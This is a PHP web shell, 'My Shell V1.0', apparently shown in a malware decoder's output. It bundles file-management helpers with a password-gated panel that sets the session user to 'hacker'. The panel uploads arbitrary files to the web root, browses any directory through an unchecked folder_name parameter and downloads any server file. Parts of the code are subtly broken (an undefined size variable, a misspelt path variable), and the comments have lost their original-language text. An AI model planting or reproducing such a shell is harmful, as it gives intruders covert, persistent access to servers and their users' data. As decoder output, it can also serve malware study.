	        return path_info($list[0]['path'],$time_type);
	    }else{
	        return file_info($list[0]['path'],$time_type);
	    }
	}
	$pathinfo = array(
		'file_num'		=> 0,
		'folder_num'	=> 0,
		'size'			=> 0,
		'size_friendly'	=> '',
		'father_name'	=> '',
		'mod'			=> ''
	);
	foreach ($list as $val){
		if ($val['type'] == 'folder') {
			$pathinfo['folder_num'] ++;
			$temp = path_info($val['path']);
			$pathinfo['folder_num']	+= $temp['folder_num'];
			$pathinfo['file_num']	+= $temp['file_num'];
			$pathinfo['size'] 		+= $temp['size'];
		}else{
			$pathinfo['file_num']++;
			$pathinfo['size'] += get_filesize($val['path']);
		}
	}
	$pathinfo['size_friendly'] = size_format($pathinfo['size']);
	$father_name = get_path_father($list[0]['path']);
	$pathinfo['mode'] = get_mode($father_name);
	return $pathinfo;
}

/** 
 * 
 * dir /   d:/wwwroot/test/
 * ,
 */
function path_list($dir,$list_file=true,$check_children=false){
	$dir = rtrim($dir,'/').'/';
	if (!is_dir($dir) || !($dh = opendir($dir))){
		return array('folderlist'=>array(),'filelist'=>array());
	}
	$folderlist = array();$filelist = array();//
	while (($file = readdir($dh)) !== false) {
		if ($file != "." && $file != ".." && $file != ".svn" ) {
			$fullpath = $dir . $file;
			if (is_dir($fullpath)) {
				$info = folder_info($fullpath);
				if($check_children){
					$info['isParent'] = path_haschildren($fullpath,$list_file);
				}
				$folderlist[] = $info;
			} else if($list_file) {//
				$info = file_info($fullpath);
				if($check_children) $info['isParent'] = false;
				$filelist[] = $info;
			}
		}
	}
	closedir($dh);
	return array('folderlist' => $folderlist,'filelist' => $filelist);
}

// 
function path_haschildren($dir,$check_file=false){
	$dir = rtrim($dir,'/').'/';
	if (!$dh = @opendir($dir)) return false;
	while (($file = readdir($dh)) !== false){
		if ($file != "." && $file != "..") {
			$fullpath = $dir.$file;
			if ($check_file) {//
				if(is_dir($fullpath.'/') || is_file($fullpath)) return true;
			}else{//
				if(is_dir($fullpath.'/')) return true;
			}
		} 
	} 	
	closedir($dh);
	return false;
}

/**
 *  . win--gbk
 */
function del_file($fullpath){
	if (!@unlink($fullpath)) { // 
		@chmod($fullpath, 0777);
		if (!@unlink($fullpath)) {
			return false;
		} 
	} else {
		return true;
	}
} 

/**
 *  . win--gbk
 */
function del_dir($dir){
	if (!$dh = opendir($dir)) return false;
	while (($file = readdir($dh)) !== false) {
		if ($file != "." && $file != "..") {
			$fullpath = $dir . '/' . $file;
			if (!is_dir($fullpath)) {
				if (!unlink($fullpath)) { // 
					chmod($fullpath, 0777);
					if (!unlink($fullpath)) {
						return false;
					} 
				} 
			} else {
				if (!del_dir($fullpath)) {
					chmod($fullpath, 0777);
					if (!del_dir($fullpath)) return false;
				} 
			} 
		} 
	}
	closedir($dh);
	if (rmdir($dir)) {
		return true;
	} else {
		return false;
	} 
} 

/**
 *  
 * eg:D:/wwwroot/wordpress
 *	D:/wwwroot/www/explorer/0000/del/1/
 * 
 * wordpressD:/wwwroot/www/explorer/0000/del/1/
 * $from = 'D:/wwwroot/wordpress';
 * $to = 'D:/wwwroot/www/explorer/0000/del/1/wordpress';
 */

function copy_dir($source, $dest){
	if (!$dest) return false;
	if ($source == substr($dest,0,strlen($source))) return;//
	$result = false;
	if (is_file($source)) {
		if ($dest[strlen($dest)-1] == '/') {
			$__dest = $dest . "/" . basename($source);
		} else {
			$__dest = $dest;
		} 
		$result = copy($source, $__dest); 
		chmod($__dest, 0777);
	}elseif (is_dir($source)) {
		if ($dest[strlen($dest)-1] == '/') {
			$dest = $dest . basename($source);
			mkdir($dest, 0777);
		} else {
			mkdir($dest, 0777);
		}
		if (!$dh = opendir($source)) return false;
		while (($file = readdir($dh)) !== false) {
			if ($file != "." && $file != "..") {
				if (!is_dir($source . "/" . $file)) {
					$__dest = $dest . "/" . $file;
				} else {
					$__dest = $dest . "/" . $file;
				} 
				$result = copy_dir($source . "/" . $file, $__dest);
			} 
		} 
		closedir($dh);
	}
	return $result;
} 

/**
 * 
 * 
 * @param string $dir 
 * @param int $mode 
 * @return bool 
 */
function mk_dir($dir, $mode = 0777){
	if (is_dir($dir) || mkdir($dir, $mode))
		return true;
	if (!mk_dir(dirname($dir), $mode))
		return false;		
	return mkdir($dir, $mode);
}

/*
* &()
* path :  $dir array files array 
* $deepest $deep 
*/
function recursion_dir($path,&$dir,&$file,$deepest=-1,$deep=0){
	$path = rtrim($path,'/').'/';
	if (!is_array($file)) $file=array();
	if (!is_array($dir)) $dir=array();
	if (!$dh = opendir($path)) return false;
	while(($val=readdir($dh)) !== false){
		if ($val=='.' || $val=='..') continue;
		$value = strval($path.$val);
		if (is_file($value)){
			$file[] = $value;
		}else if(is_dir($value)){
			$dir[]=$value;
			if ($deepest==-1 || $deep<$deepest){
				recursion_dir($value."/",$dir,$file,$deepest,$deep+1);
			}
		}
	}
	closedir($dh);
	return true;
}
/*
 * $search  
 * is_content ;
 * is_case  ,
 */
function path_search($path,$search,$is_content=false,$file_ext='',$is_case=false){
	$ext_arr=explode("|",$file_ext);
	recursion_dir($path,$dirs,$files,-1,0);
	$strpos = 'stripos';//
	if ($is_case) $strpos = 'strpos';
	
	$filelist = array();
	$folderlist = array();
	foreach($files as $f){
		$ext = get_path_ext($f);
		$path_this = get_path_this($f);
		if ($file_ext !='' && !in_array($ext,$ext_arr)) continue;//
		if ($strpos($path_this,$search) !== false){//;
			$filelist[] = file_info($f);
			continue;
		}
		if ($is_content && is_file($f)){
			$fp = fopen($f, "r");
			$content = @fread($fp,get_filesize($f));
			fclose($fp);
			if ($strpos($content,iconv_app($search)) !== false){
				$filelist[] = file_info($f);
			}
		}
	}
	if ($file_ext == '') {//
		foreach($dirs as $f){
			$path_this = get_path_this($f);
			if ($strpos($path_this,$search) !== false){
				$folderlist[]= array(
					'name'  => iconv_app(get_path_this($f)),
					'path'  => iconv_app(get_path_father($f))			
				);
			}
		}
	}
	return array('folderlist' => $folderlist,'filelist' => $filelist);
}

/**
 * 
 * @param  $path ()
 * @return :string
 */
function chmod_path($path,$mod){
	//$mod = 0777;//
	if (!isset($mod)) $mod = 0777;
	if (!is_dir($path)) return chmod($path,$mod);
	if (!$dh = opendir($path)) return false;
	while (($file = readdir($dh)) !== false){
		if ($file != "." && $file != "..") {
			$fullpath = $path . '/' . $file;
			return chmod_path($fullpath,$mod);
		} 
	}
	closedir($dh);
	return chmod($path,$mod);
} 

/**
 * 
 * 
 * @param  $ :$bytes, int 
 * @param  $ :$precision int  
 * @return :string
 */
function size_format($bytes, $precision = 2){
	if ($bytes == 0) return "0 B";
	$unit = array(
		'TB' => 1099511627776,  // pow( 1024, 4)
		'GB' => 1073741824,		// pow( 1024, 3)
		'MB' => 1048576,		// pow( 1024, 2)
		'kB' => 1024,			// pow( 1024, 1)
		'B ' => 1,				// pow( 1024, 0)
	);
	foreach ($unit as $un => $mag) {
		if (doubleval($bytes) >= $mag)
			return round($bytes / $mag, $precision).' '.$un;
	} 
} 

/**
 * 
 * true('/foo/bar','c:\windows').
 * 
 * @return true
 */
function path_is_absolute($path){
	if (realpath($path) == $path)// *nux  /home/my
		return true;
	if (strlen($path) == 0 || $path[0] == '.')
		return false;
	if (preg_match('#^[a-zA-Z]:\\\\#', $path))// windows  c:\aaa\
		return true;
	return (bool)preg_match('#^[/\\\\]#', $path); //  /  \
} 

/**
 * 
 * 
 * @param  $ :$ext string 
 * @return :string;
 */
function ext_type($ext){
	$ext2type = array(
		'text' => array('txt','ini','log','asc','csv','tsv','vbs','bat','cmd','inc','conf','inf'),
		'code'		=> array('css','htm','html','php','js','c','cpp','h','java','cs','sql','xml'),
		'picture'	=> array('jpg','jpeg','png','gif','ico','bmp','tif','tiff','dib','rle'),
		'audio'		=> array('mp3','ogg','oga','mid','midi','ram','wav','wma','aac','ac3','aif','aiff','m3a','m4a','m4b','mka','mp1','mx3','mp2'),
		'flash'		=> array('swf'),
		'video'		=> array('rm','rmvb','flv','mkv','wmv','asf','avi','aiff','mp4','divx','dv','m4v','mov','mpeg','vob','mpg','mpv','ogm','ogv','qt'),
		'document'	=> array('doc','docx','docm','dotm','odt','pages','pdf','rtf','xls','xlsx','xlsb','xlsm','ppt','pptx','pptm','odp'),
		'rar_achieve'	=> array('rar','arj','tar','ace','gz','lzh','uue','bz2'),
		'zip_achieve'	=> array('zip','gzip','cab','tbz','tbz2'),
		'other_achieve' => array('dmg','sea','sit','sqx')
	);
	foreach ($ext2type as $type => $exts) {
		if (in_array($ext, $exts)) {
			return $type;
		} 
	} 
} 

/**
 * 
 * $downloadfalse
 */
function file_put_out($file,$download=false){
	if (!is_file($file)) print('not a file!');
	set_time_limit(0); 
	//ob_clean();//
	if (!file_exists($file)) print('file not exists');
	if (isset($_SERVER['HTTP_RANGE']) && ($_SERVER['HTTP_RANGE'] != "") && 
		preg_match("/^bytes=([0-9]+)-$/i", $_SERVER['HTTP_RANGE'], $match) && ($match[1] < $fsize)) { 
		$start = $match[1];
	}else{
		$start = 0;
	}
	$size = get_filesize($file);
	header("Cache-Control: public");
	header("X-Powered-By: HackExplorer.");
	if ($download) {
		header("Content-Type: application/octet-stream");
		$filename = $file;//IE
		if(preg_match('/MSIE/',$_SERVER['HTTP_USER_AGENT'])){
			$filename = str_replace('+','%20',urlencode($filename));
		}
		header("Content-Disposition: attachment;filename=".$filename);
	}else{
		$mime = get_file_mime(get_path_ext($file));
		header("Content-Type: ".$mime);
	}
	if ($start > 0){
		header("HTTP/1.1 206 Partial Content");
		header("Content-Ranges: bytes".$start ."-".($size - 1)."/" .$size);
		header("Content-Length: ".($size - $start));		
	}else{
		header("Accept-Ranges: bytes");
		header("Content-Length: $size");
	}

	$fp = fopen($file, "rb");
	fseek($fp, $start);
	while (!feof($fp)) {
		print (fread($fp, 1024 * 8)); //  
		flush(); 
		ob_flush();  
	}  
	fclose($fp);
}

/**
 * 
 */
function file_download_this($from, $file_name){
	set_time_limit(0);
	$fp = @fopen ($from, "rb");
	if ($fp){
		$new_fp = @fopen ($file_name, "wb");
		fclose($new_fp);

		$temp_file = $file_name.'.download';
		$download_fp = @fopen ($temp_file, "wb");
		while(!feof($fp)){
			if(!file_exists($file_name)){//
				fclose($download_fp);
				del_file($temp_file);
				del_file($file_name);
				return false;
			}
			fwrite($download_fp, fread($fp, 1024 * 8 ), 1024 * 8);
		}
		//
		del_file($file_name);
		rename($temp_file,$file_name);
		return true;
	}else{
		return false;
	}	
}

/**
 * () rwx_rwx_rwx
 */
function get_mode($file){
	$Mode = fileperms($file);
	$theMode = ' '.decoct($Mode);
	$theMode = substr($theMode,-4);
	$Owner = array();$Group=array();$World=array();
	if ($Mode &0x1000) $Type = 'p'; // FIFO pipe
	elseif ($Mode &0x2000) $Type = 'c'; // Character special
	elseif ($Mode &0x4000) $Type = 'd'; // Directory
	elseif ($Mode &0x6000) $Type = 'b'; // Block special
	elseif ($Mode &0x8000) $Type = '-'; // Regular
	elseif ($Mode &0xA000) $Type = 'l'; // Symbolic Link
	elseif ($Mode &0xC000) $Type = 's'; // Socket
	else $Type = 'u'; // UNKNOWN 
	// Determine les permissions par Groupe
	$Owner['r'] = ($Mode &00400) ? 'r' : '-';
	$Owner['w'] = ($Mode &00200) ? 'w' : '-';
	$Owner['x'] = ($Mode &00100) ? 'x' : '-';
	$Group['r'] = ($Mode &00040) ? 'r' : '-';
	$Group['w'] = ($Mode &00020) ? 'w' : '-';
	$Group['e'] = ($Mode &00010) ? 'x' : '-';
	$World['r'] = ($Mode &00004) ? 'r' : '-';
	$World['w'] = ($Mode &00002) ? 'w' : '-';
	$World['e'] = ($Mode &00001) ? 'x' : '-'; 
	// Adjuste pour SUID, SGID et sticky bit
	if ($Mode &0x800) $Owner['e'] = ($Owner['e'] == 'x') ? 's' : 'S';
	if ($Mode &0x400) $Group['e'] = ($Group['e'] == 'x') ? 's' : 'S';
	if ($Mode &0x200) $World['e'] = ($World['e'] == 'x') ? 't' : 'T';
	$Mode = $Type.$Owner['r'].$Owner['w'].$Owner['x'].' '.
			$Group['r'].$Group['w'].$Group['e'].' '.
			$World['r'].$World['w'].$World['e'];
	return $Mode.' ('.$theMode.') ';
} 

/**
 * 
 * return * byte
 */
function get_post_max(){
	$upload = ini_get('upload_max_filesize');
	$upload = $upload==''?ini_get('upload_max_size'):$upload;
    $post = ini_get('post_max_size');
	$upload = intval($upload)*1024*1024;
	$post = intval($post)*1024*1024;
	return $upload<$post?$upload:$post;
}

/**
 * ,
 * demo
 * upload('file','D:/www/');
 */
function upload($fileInput, $path = './'){
	global $config,$L;
	$file = $_FILES[$fileInput];
	if (!isset($file)) show_json($L['upload_error_null'],false);
	
	$file_name = iconv_system($file['name']);
	$save_path = get_filename_auto($path.$file_name);
	if(move_uploaded_file($file['tmp_name'],$save_path)){
		show_json($L['upload_success'],true,iconv_app($save_pathe));
	}else {
		show_json($L['move_error'],false);
	}
}

//
function upload_chunk($fileInput, $path = './',$temp_path){
	global $config,$L;
	$file = $_FILES[$fileInput];
	$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
	$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 1;
	if (!isset($file)) show_json($L['upload_error_null'],false);
	$file_name = iconv_system($file['name']);

	if ($chunks>1) {//
		$temp_file_pre = $temp_path.md5($temp_path.$file_name).'.part';
		if (get_filesize($file['tmp_name']) ==0) {
			show_json($L['upload_success'],false,'chunk_'.$chunk.' error!');
		}
		if(move_uploaded_file($file['tmp_name'],$temp_file_pre.$chunk)){
			$done = true;
			for($index = 0; $index<$chunks; $index++ ){
			    if (!file_exists($temp_file_pre.$index)) {
			        $done = false;
			        break;
			    }
			}
			if (!$done){				
				show_json($L['upload_success'],true,'chunk_'.$chunk.' success!');
			}

			$save_path = $path.$file_name;
			$out = fopen($save_path, "wb");
			if ($done && flock($out, LOCK_EX)) {
		        for( $index = 0; $index < $chunks; $index++ ) {
		            if (!$in = fopen($temp_file_pre.$index,"rb")) break;
		            while ($buff = fread($in, 4096)) {
		                fwrite($out, $buff);
		            }
		            fclose($in);
		            unlink($temp_file_pre.$index);
		        }
		        flock($out, LOCK_UN);
			    fclose($out);
			}
			show_json($L['upload_success'],true,iconv_app($save_path));
		}else {
			show_json($L['move_error'],false);
		}
	}

	//
	$save_path = get_filename_auto($path.$file_name); //
	if(move_uploaded_file($file['tmp_name'],$save_path)){
		show_json($L['upload_success'],true,iconv_app($save_path));
	}else {
		show_json($L['move_error'],false);
	}
}

/**
 * 
 * @param string $log   
 * @param string $type   [system|app|...]
 * @param string $level 
 * @return boolean
 */
function write_log($log, $type = 'default', $level = 'log'){
	$now_time = date('[y-m-d H:i:s]');
	$now_day  = date('Y_m_d');
	// 
	$target   = LOG_PATH . strtolower($type) . '/';
	mk_dir($target, 0777);
	if (! is_writable($target)) exit('path can not write!');
	switch($level){// 
		case 'error':	$target .= 'Error_' . $now_day . '.log';break;
		case 'warning':	$target .= 'Warning_' . $now_day . '.log';break;
		case 'debug':	$target .= 'Debug_' . $now_day . '.log';break;
		case 'info':	$target .= 'Info_' . $now_day . '.log';break;
		case 'db':		$target .= 'Db_' . $now_day . '.log';break;
		default:		$target .= 'Log_' . $now_day . '.log';break;
	}
	//, 
	if (file_exists($target) && get_filesize($target) <= 100000) {
		$file_name = substr(basename($target),0,strrpos(basename($target),'.log')).'.log';
		rename($target, dirname($target) .'/'. $file_name);
	}
	clearstatcache();
	return error_log("$now_time $log\n", 3, $target);
}

/**
 *
 * unix ./test/test1 ====> test/test1
 * windows ./test/test1 ===> test/\test1
 *
 * */

function platform_name($name){
	global $config;
	if($config['system_os']=='windows')
	{
		$name = trim($name,".");
		$name = str_replace("/","\\",$name);
	}else{
		$name = trim($name,".");
	}
	return $name;
}



echo "My Shell V1.0";
echo "<p>";
echo "
<html>
<body>
<form  method=\"post\">
Password: <input type=\"password\" name=\"pass\">
<input type=\"submit\" value=\"login\">
</form>
</body>
</html>
";

session_start();
if(isset($_POST['pass'])){
	if(md5($_POST['pass'])!=$config['password']){
		echo "fuck to password is wrong!";
	}else{
		$_SESSION['user'] = "hacker";
	}
}
if (isset($_SESSION['user']) && !empty($_SESSION['user'])) {
	ob_clean();
	header("content-type:text/html;charset=utf-8");
	echo "Wellcome " .$_SESSION['user'];
	echo "                                            ";
	echo "<a href=?op=exit>Exit click here!</a>";

	echo "<p>";
	echo PHP_OS;
	echo "<p>";

	echo "
	<form  method=\"post\" enctype=\"multipart/form-data\">
	<text >
	<input type=\"file\" name=\"upfile\"/><br/>
	<input type=\"submit\" value=\"upload\"/>
	</form> ";

	if(isset($_FILES['upfile'])){
		$upfile = $_FILES['upfile'];
		$dest="./".$upfile['name'];
		print $dest;
		if(!move_uploaded_file($upfile['tmp_name'],$dest)){
			print "<p> error to upload is your file to big?";
		}
	}

	$op = $_GET['op'];
	if($op==='exit'){
		session_destroy();
		unset($_SESSION['user']);
		ob_clean();
		echo "<a href=?op=login>Logout Ok!Click here to login in!</a>";
	}else if($op==='down'){
		echo "start download";
		$dfilename = $_GET['dname'];
		file_put_out($dfilename,true);

	}else{
	$folder_name = $_GET['folder_name'];
	if($folder_name == ""){
		$file_list = path_list("./");
	}else{
		$file_list = path_list(sprintf("%s",$folder_name));
	}	
	$folders = $file_list['folderlist'];
	print sprintf("<p> <a href=%s?folder_name=%s>%s</a>", $_SERVER['PHP_SELF'],$folder_name."/.",".");
	print sprintf("<p> <a href=%s?folder_name=%s>%s</a>", $_SERVER['PHP_SELF'],$folder_name."/..","..");
	for($i=0;$i<count($folders);$i++)
	{
		$links=sprintf("<p> <a href=%s?folder_name=%s%s>%s</a>", $_SERVER['PHP_SELF'],$folders[$i]['path'],$folders[$i]['name'],$folders[$i]['name']);
		print($links);
	}

	echo "</p>";

	$files = $file_list['filelist'];

	for($i=0;$i<count($files);$i++)
	{
		$links=sprintf("<p> <a href=%s>%s</a> %s %s   <a href=?op=down&dname=%s>down</a>", sprintf("%s%s",$files[$i]['path'],$files[$i]['name']),
			$files[$i]['name'],$files[$i]['size_friendly'],$files[$i]['mode'],$files[$i]['name']);
		print($links);
	}
	echo "<p>";
	print dirname(__FILE__).platform_name($folder_name);
	}
}




Function Calls

None

Variables

None

Stats

MD5 ed4f8a6cf9f40f51cab31c4860627c4b
Eval Count 0
Decode Time 173 ms